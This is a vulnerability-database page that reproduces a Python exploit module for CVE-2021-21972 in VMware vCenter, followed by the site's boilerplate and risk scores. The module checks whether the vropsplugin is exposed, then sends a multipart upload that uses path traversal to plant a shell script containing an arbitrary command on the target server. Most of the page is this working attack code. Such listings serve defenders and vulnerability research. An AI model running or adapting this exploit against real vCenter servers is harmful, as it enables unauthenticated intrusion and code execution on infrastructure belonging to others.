Lucene search
+L

VMware vCenter vropsplugin RCE (CVE-2021-21972)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated RCE in VMware vCenter vropsplugin via arbitrary file upload.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""VMware vCenter vropsplugin upload RCE (CVE-2021-21972)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'VMware vCenter vropsplugin RCE (CVE-2021-21972)',
        'description': (
            'Exploits CVE-2021-21972 in VMware vCenter Server: unauthenticated arbitrary file '
            'upload via /ui/vropspluginui/rest/services/uploadova path traversal.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-21972'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-21972'],
        'tags': ['vmware', 'vcenter', 'upload', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_21972_detect']},
        },
    }

    def _plugin_ok(self) -> bool:
        r = self.http_request(
            method='GET',
            path='/ui/vropspluginui/rest/services/getstatus',
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return False
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items())
        return 'VSPHERE-UI-JSESSIONID' in headers and re.search(
            r'(Install|Config) Final Progress', r.text or '',
        )

    def execute(self, cmd: str) -> str:
        traversal = '../../../../../../tmp/ksvc_cmd.sh'
        body = (
            f'------KittySploit\r\nContent-Disposition: form-data; name="uploadFile"; '
            f'filename="{traversal}"\r\nContent-Type: application/octet-stream\r\n\r\n'
            f'#!/bin/sh\n{cmd}\n\r\n------KittySploit--\r\n'
        )
        self.http_request(
            method='POST',
            path='/ui/vropspluginui/rest/services/uploadova',
            data=body,
            headers={'Content-Type': 'multipart/form-data; boundary=----KittySploit'},
            allow_redirects=False,
        )
        return ''

    def check(self):
        if self._plugin_ok():
            return {'vulnerable': True, 'reason': 'vCenter vropsplugin surface exposed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'vropsplugin not detected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        print_warning('Upload surface confirmed — deploy OVA/tar chain for reliable RCE')
        self.execute(str(getattr(self, 'command', '') or self.payload or 'id'))
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
CVSS 210
EPSS0.99865
SSVC
1